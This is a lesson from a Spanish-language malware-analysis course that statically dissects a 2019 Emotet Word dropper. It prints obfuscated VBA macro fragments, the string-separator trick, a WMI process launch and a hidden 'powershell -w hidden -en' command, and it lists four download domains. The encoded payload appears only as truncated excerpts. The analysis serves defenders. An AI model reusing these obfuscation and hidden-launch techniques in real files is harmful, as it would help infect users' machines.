Únete al equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Contacta con el equipo de Lobera

Consulta nuestra Política de Privacidad sobre el tratamiento de esta información.

Análisis de malware / 28

Emotet: análisis de un documento malicioso

LoberaFormación técnica28 / 33 · 5 min de lectura · Windows · PE
28 / 33

Reconstruir las macros y capas de codificación del documento sin activar su contenido.

Consultar conceptos ↗
Notas de la práctica

Las capturas corresponden al análisis original del autor. Puedes seguir la lectura del código y las evidencias desde esta página. El trabajo dinámico con muestras requiere un laboratorio Windows separado del equipo de uso habitual.

Edición parcial: diferencias con el original

El downloader ejecutable y las cadenas completas que lo transportan se presentan mediante extractos. Se conserva el análisis del documento y de sus etapas.

En términos generales, al analizar malware hay que observar el espectro completo del proceso de infección, que puede ir desde el reconocimiento hasta la post-explotación, ya que una amenaza es algo más que un ejecutable malicioso. Para tener esa visión global hay que prestar atención a los métodos que permiten al atacante obtener el acceso inicial. Uno de los más habituales consiste en realizar un ataque de ingeniería social para que la víctima potencial abra un documento malicioso (también conocido como maldoc), que normalmente ejecuta código dañino por sí mismo o simplemente descarga y ejecuta el malware final. La mayoría de las veces veremos documentos Word maliciosos con macros que, al ejecutarse, lanzan el malware alojado en un servidor remoto o codificado en el propio documento.

El caso estudia un documento con macros relacionado con Emotet y documentado por el autor a partir de una muestra de 2019. El análisis estático sigue la construcción del comando, sus capas de ofuscación y las direcciones que utiliza la etapa de descarga.

Visión general

Al abrir el documento aparece un mensaje invitando a habilitar las macros si se quiere ver su contenido.

document
FIG. 01 document

Al ir al editor de macros se puede ver que, en un escenario normal con las macros habilitadas, al abrir el documento la ejecución pasa a "Rebnfkihsrl". Lo anotamos.

startfunc
FIG. 02 startfunc

Al inspeccionar esa función ya se aprecia cierta ofuscación.

general
FIG. 03 general

También se observa que en la macro hay un formulario.

macro
FIG. 04 macro

Al inspeccionar el formulario en la macro y arrastrar los elementos por la ventana, se pueden ver numerosos elementos con valores extraños.

call
FIG. 05 call

Estos elementos se usan habitualmente en los maldocs para alojar valores que se utilizarán en el código con un grado variable de ofuscación.

elem
FIG. 06 elem

Como se puede ver, esos valores pueden estar alojados prácticamente en cualquier propiedad de los elementos visibles.

Construyendo win32_process

Con esta visión general del entorno de macros del maldoc, podemos seguir las funciones desde el principio e intentar entender qué hacen:

CÓDIGO / SALIDA
d = "//====dsfnnJJJsm388//=i//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=n//====dsfnnJJJsm388//=m//====dsfnnJJJsm388//=gmt//====dsfnnJJJsm388//=" + ChrW(wdKeyS) + "//====dsfnnJJJsm388//=:w//====dsfnnJJJsm388//=in//====dsfnnJJJsm388//=32//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=_//====dsfnnJJJsm388//=" + Aynfhuolm.Klzjjfclrdt + "//====dsfnnJJJsm388//=ro//====dsfnnJJJsm388//=ce//====dsfnnJJJsm388//=ss"
   Select Case Lcnapyyhhqvy
      Case Rdaqvbgtc
         Ddbvkqwvnqd = 7
         Kojgprhpaoqsk = Atn(4)
         Snszzllvxl = Sin(Zcjnobcf)
      Case Zdlfzcokcayk
         Ydcmytmu = Log(3)
         Imrbcrilfan = 6
         Uligmjwbpzj = CSng(Zphmfeluxn)
      Case Hlsmecnkpib
         Zlwptnhmsss = ChrW(Victxyxtfyeo)
         Veurorzftofea = 1
         Pszilheh = Cos(Dstunsaiql)
End Select

Lo relevante aquí es el valor de la variable d. No existe ninguna referencia a "Lcnapyyhhqvy" en el código; es un método de ofuscación bastante habitual generar bloques de código como ese para intentar confundir al analista y ganar tiempo. Volviendo a "d", se ve una cadena larga con muchas subcadenas sospechosas del tipo "//====dsfnnJJJsm388//=". Podría pensarse en base64 (por los ==), pero observándolo con más detenimiento también puede tratarse de un separador de cadena. Además se ve una referencia al valor del elemento "Klzjjfclrdt" del formulario y una llamada a ChrW(wdKeyS), que es básicamente una referencia a la letra "s" (como se puede comprobar consultando la función ChrW en MSDN). ChrW se usa aquí para ofuscar esa letra.

Tras estas líneas, el valor de "d" será el siguiente:

CÓDIGO / SALIDA
 d = "//====dsfnnJJJsm388//=i//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=n//====dsfnnJJJsm388//=m//====dsfnnJJJsm388//=gmt//====dsfnnJJJsm388//=" + "s" + "//====dsfnnJJJsm388//=:w//====dsfnnJJJsm388//=in//====dsfnnJJJsm388//=32//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=_//====dsfnnJJJsm388//=" + "p" + "//====dsfnnJJJsm388//=ro//====dsfnnJJJsm388//=ce//====dsfnnJJJsm388//=ss"

Las siguientes líneas contienen el mismo código basura. También se aprecia la declaración de la variable E, con un valor que representa el "separador" identificado anteriormente.

CÓDIGO / SALIDA
E = "//====dsfnnJJJsm388//="
   Select Case Knixitwbgf
      Case Byvqycgte
         Dtghhnpi = 7
         Iyjfeperhe = Atn(4)
         Vbssoabade = Sin(Feblonrxru)
      Case Lltnccwebuxfp
         Ogvhdwzaansct = Log(3)
         Rbishdgo = 6
         Ixjlgwwz = CSng(Qwmpdmlt)
      Case Zcqxcwwwhv
         Wgvypptrvcfl = ChrW(Otpusnpobghm)
         Azstuyzgue = 1
         Zinwxfjhidhmd = Cos(Heordgjq)
End Select

Ezpgypriolxu = Split("//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=w//====dsfnnJJJsm388//=//====dsfnnJJJsm388//=" + d + T, E)
   Select Case Skjymgpxagwjb
      Case Jfxgibso
         Lonxstavxmvor = 7
         Iqhjekshij = Atn(4)
         Xrxawdybrbz = Sin(Voewevnatzk)
      Case Bpshfnxfd
         Mzktvugrzvjwo = Log(3)
         Oindrmpq = 6
         Ikwlkhsjek = CSng(Teystljste)
      Case Zorzmmwj
         Nkkfooqmjz = ChrW(Ojeytdhk)
         Nvmwpsxr = 1
         Cjroinxvbhvwc = Cos(Iunttcyt)
End Select

Kplefsep = Join(Ezpgypriolxu, "")
   Select Case Txzptmlhd
      Case Gnxqifdmi
         Vhhhaamcktv = 7
         Fwbgsjjf = Atn(4)
         Ckzvribdxn = Sin(Simmkvbd)
      Case Pukmewuyjk
         Ewafutiqxlaee = Log(3)
         Gzoegxrvfkfe = 6
         Ydsptdplfa = CSng(Vndtghlbnzvf)
      Case Nbuuopdg
         Ipkpfutox = ChrW(Drlexsdv)
         Mktpnqklr = 1
         Ovlrxvwtfgi = Cos(Kkjqrwzkazver)
End Select

Tras esa declaración se construye una cadena mediante split(). La llamada a split() divide la cadena pasada como primer argumento usando el delimitador del segundo. En este caso la cadena a dividir es la concatenación de lo que se ve en la llamada más el valor de "d" y T (variable no válida). Tras el split se llama a Join, que convierte el array resultante de nuevo en una cadena. En conjunto, ambas funciones generan una cadena con todas las subcadenas separadas por "//====dsfnnJJJsm388//=" y eliminan ese separador. En este punto se puede confirmar que "//====dsfnnJJJsm388//=" es simplemente una técnica de ofuscación.

La cadena resultante será algo como "winmgmts:win32_process", que es una referencia a un proceso Windows 32 usando WINMGMTS, la consola de gestión de WMI.

Accediendo a win32_processstartup

Las siguientes líneas de código siguen el mismo esquema y actualizan la cadena win32_process:

CÓDIGO / SALIDA
Fydoyyes = Aynfhuolm.Gqniuncl.Tag; Fydoyyes=tu 
Qgwuxgjcfpmwu = Kplefsep + ChrW(wdKeyS) + Aynfhuolm.Otlxksaafin.Tag + Fydoyyes
   Select Case Pnzgdbebzflt
      Case Skftmixdqoo
         Ntlcdclfooplf = 7
         Ipkoeimdtph = Atn(4)
         Mwkskdrhodir = Sin(Ewphgtiub)
      Case Oqaqrmvmqssdx
         Xhumbwja = Log(3)
         Diawmsvfs = 6
         Qqwqmfeplts = CSng(Vbaoddeps)
      Case Evqdawxfeoh
         Wprfkwnkbvblr = ChrW(Osxyghlr)
         Opvnbqok = 1
         Omyevweczpsj = Cos(Qmrikpkycfwh)
End Select
Zaudisqtrfzoa = Qgwuxgjcfpmwu + Aynfhuolm.Klzjjfclrdt; ;  Zaudisqtrfzoa =  "winmgmts:win32_processstartup"
   Select Case Ybhjivqfmfsou
      Case Xivtorwoukei
         Yrneibzwpk = 7
         Isrnhdysyknd = Atn(4)
         Cnnydnktn = Sin(Klpsatlpu)
      Case Wgcajnoo
         Sbzmjqgqjp = Log(3)
         Ixsizxrc = 6
         Yyrhvddwfzkv = CSng(Pgrcfyltyt)
      Case Ibnqwcuzd
         Bucmmkftmfit = ChrW(Pwphezxjq)
         Iodhbrgo = 1
         Hcmyjtzlzah = Cos(Gfesycxsei)
End Select
Set Rebnfkihsrl = GetObject(Zaudisqtrfzoa)
   Select Case Hxrvoepp
      Case Gnfukfkxfjt
         Lawwgpuksxol = 7
         Tzpednptninf = Atn(4)
         Gpihecfusii = Sin(Eoqqianqyq)
      Case Pfrnnibkgec
         Hhlzhgvdd = Log(3)
         Xreerxhzd = 6
         Wohezgpdalb = CSng(Tbrrjjmm)
      Case Pvextiwdlo
         Xrchpozkuv = ChrW(Kpfqptfc)
         Rivjvvdh = 1
         Ijdaocuxmksto = Cos(Ecforiqiva)
End Select
Rebnfkihsrl. _
showwindow = False
   Select Case Jqokyvur
      Case Rkvxtyfcuvl
         Clorvfgvr = 7
         Skdydrocc = Atn(4)
         Qiioxgcoss = Sin(Lzkdylysag)
      Case Jvgydhjbx
         Gighatdlpnbr = Log(3)
         Npqdqljuefcz = 6
         Kjdludevse = CSng(Xvyqhegfprsyh)
      Case Lebeapsafk
         Vosxlfqnnvnxy = ChrW(Utqfdorsqqaxj)
         Tgshlqxugsrr = 1
         Rdghrxhofmh = Cos(Bglhgjtcgfqhh)
End Select

La cadena se actualiza usando los valores y etiquetas de los elementos del formulario. Al final se obtiene la interfaz para crear un proceso con "GetObject(winmgmts:win32_processstartup)" y se ejecuta; como showwindow está establecido en False, el proceso no generará ninguna ventana.

Lanzando el comando

Al final de la función llegamos a lo siguiente:

CÓDIGO / SALIDA
Do While Onswaqvtx. _
Create(pok & Jsbkijpbpodxb, Oqgpucufvz, Rebnfkihsrl, Ecrbelixnqcu)

Descartando el código basura, básicamente se crea un proceso usando el objeto anterior e invocando lo que contiene "Jsbkijpbpodxb".

Hay que mirar la otra función de la macro, donde se define y construye "Jsbkijpbpodxb":

Construyendo la llamada a powershell

Al ir a esa función se ve que sigue el mismo esquema: comienza cargando la letra P en la variable.

CÓDIGO / SALIDA
Ijzunpknbhh = ChrW(wdKeyP)
   Select Case Grhgzviefkjp
      Case Cszuzekpjj
         Icswxnoj = 7
         Aiggyiwyq = Atn(4)
         Znlbfvhl = Sin(Xxvnglinw)
      Case Ktsqnsfbtk
         Ciohvsrgxjac = Log(3)
         Tsxnltprot = 6
         Rdcjxxefte = CSng(Nueumbtp)
      Case Ymefzzck
         Okaoeoldygro = ChrW(Zqpufnadfoep)
         Yecikwoduqqy = 1
         Rzljklfikif = Cos(Lemkoitetdje)
End Select
Zucvdkolcrve = Ijzunpknbhh + Aynfhuolm.Qnkpehvt + Aynfhuolm.Chtibfppvynw
   Select Case Axqraovy
      Case Fdfmwschfklnj
         Belqvcejyw = 7
         Kqndpzej = Atn(4)
         Qhqmwphrn = Sin(Gzkkiptathq)
      Case Rqshwoerpto
         Jfobhjdneqdsg = Log(3)
         Ibazcbugxa = 6
         Jyqgvhjgomrah = CSng(Naoopeti)
      Case Oaxozrbmjtpn
         Lxdwwjasb = ChrW(Fimfuppco)
         Mspvqnxhm = 1
         Gdrbxlervzw = Cos(Iohodzlvbell)
End Select

Luego accede a Chtibfppvynw y Qnkpehvt en el formulario, dando como resultado algo como:

CÓDIGO / SALIDA
p + "o//====dsfnnJJJsm388//=w//====dsfnnJJJsm388//=e//====dsfnnJJJsm388//=r//====dsfnnJJJsm388//=s//====dsfnnJJJsm388//=h//====dsfnnJJJsm388//=el//====dsfnnJJJsm388//=l//====dsfnnJJJsm388//= //====dsfnnJJJsm388//=-//====dsfnnJJJsm388//=w//====dsfnnJJJsm388//= //====dsfnnJJJsm388//=h//====dsfnnJJJsm388//=i" + "d//====dsfnnJJJsm388//=d//====dsfnnJJJsm388//=e//====dsfnnJJJsm388//=n//====dsfnnJJJsm388//= //====dsfnnJJJsm388//=-//====dsfnnJJJsm388//=e//====dsfnnJJJsm388//=n "

El mismo método de ofuscación/split se aplica aquí. También se puede intuir una llamada a powershell. Si realizamos el split manualmente se resuelve lo siguiente:

CÓDIGO / SALIDA
powershell -w hidden -en

El flag hidden evita que aparezca la ventana y el parámetro en ejecuta un comando codificado en base64.

A continuación ocurre lo más interesante:

CÓDIGO / SALIDA
losd = Aynfhuolm.Moprxgemru.GroupName
Epysjcpgdwz = Split(Zucvdkolcrve + LTrim(losd), "//====dsfnnJJJsm388//=")
   Select Case Xoblqhuv
      Case Qgfjkwmrlbc
         Wpmqjvtzx = 7
         Whhvnszquwkz = Atn(4)
         Uzavfpzshe = Sin(Rkaensvnm)
      Case Retbmkjmpeg
         Tdrvtezczibpp = Log(3)
         Reuxrkirmo = 6
         Ysgakvelj = CSng(Tidlrvsmwuavk)
      Case Xlkmfhgvbk
         Qtlezqebp = ChrW(Rwubqoxwvrbyt)
         Vsnmbaynbskpa = 1
         Itimtpkfp = Cos(Oxrovscc)
End Select
Jsbkijpbpodxb = Pfqwwqvrgwk + Join(Epysjcpgdwz, "") + Pfqwwqvrgwk```

Se carga el valor de "Aynfhuolm.Moprxgemru.GroupName", se recorta por la izquierda y se concatena con la cadena de la llamada a powershell. Luego se usa join para convertirlo de nuevo en una cadena, eliminando así el separador.

Al inspeccionar la propiedad se ve que el GroupName es en realidad una cadena muy larga:

Extracto de la cadena del original. Se muestran su inicio y su final para comparar la representación entre etapas.

CÓDIGO / SALIDA
JABTA//====dsfnnJJJsm388//=G8Abg//====dsfnnJJJsm388//=BsAGY//====dsfnnJJJsm388//=AbQB4//====dsfnnJJJsm388//=AGYAZ//====dsfnnJJJsm388//=wBsAG//====dsfnnJJJsm388//=cAPQA//====dsfnnJJ
[…]
8//=AHQAd//====dsfnnJJJsm388//=gBuAG//====dsfnnJJJsm388//=wAdQB//====dsfnnJJJsm388//=0ACcA

Al eliminar el separador se obtiene:

Extracto de la cadena del original. Se muestran su inicio y su final para comparar la representación entre etapas.

CÓDIGO / SALIDA
JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBk
[…]
EAdABjAGgAewB9AH0AJABWAHUAegBsAGIAbwBxAGEAawBqAHcAPQAnAEIAagBuAGgAegBtAHQAdgBuAGwAdQB0ACcA

Cargando el comando codificado en base64

En este punto se puede asumir que es base64, ya que es la forma más habitual de ejecutar un dropper en powershell. Al decodificarlo se obtiene:

Elemento recuperadoFunción en el comando analizado
Ruta temporal y nombre de archivoPreparan el destino local de la etapa descargada.
Lista de direccionesProporciona varios orígenes que el código recorre.
Cliente de descargaSolicita el archivo y lo guarda en el destino.
Creación de procesoIntenta ejecutar el archivo recuperado.

Analizando el comando, se pueden identificar rápidamente las URLs que contienen el malware a descargar. Son las siguientes:

  • adykurniawan.com
  • myphamthanhbinh.net
  • mojehaftom.com
  • sfmac.biz

El malware intentará descargar y ejecutar archivos desde esas URLs, probándolas una a una por si alguna está bloqueada.

Hasta aquí la parte estática del análisis. Se puede concluir que el maldoc es un dropper que intenta convencer al usuario de que habilite las macros, usa WMI para lanzar un comando powershell que intentará descargar y ejecutar un malware desde alguno de los dominios indicados, todo ello de forma invisible para el usuario.

El resultado permite describir cómo el documento inicia la siguiente etapa y extraer sus indicadores. Las capturas y los fragmentos anteriores documentan esa parte del flujo; el análisis del ejecutable posterior constituye una investigación separada.

Comprobación personal

Antes de continuar

Describe la etapa analizada, sus datos de entrada y la evidencia que muestra su resultado. Relaciona cada captura con una función o transición concreta del caso.

El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.

Código original: AGPLv3. Textos y diagramas originales: CC BY-SA 4.0. Reutilización y alcance ↗.

Lobera

Conceptos de reversing

Consulta una definición y continúa donde estabas.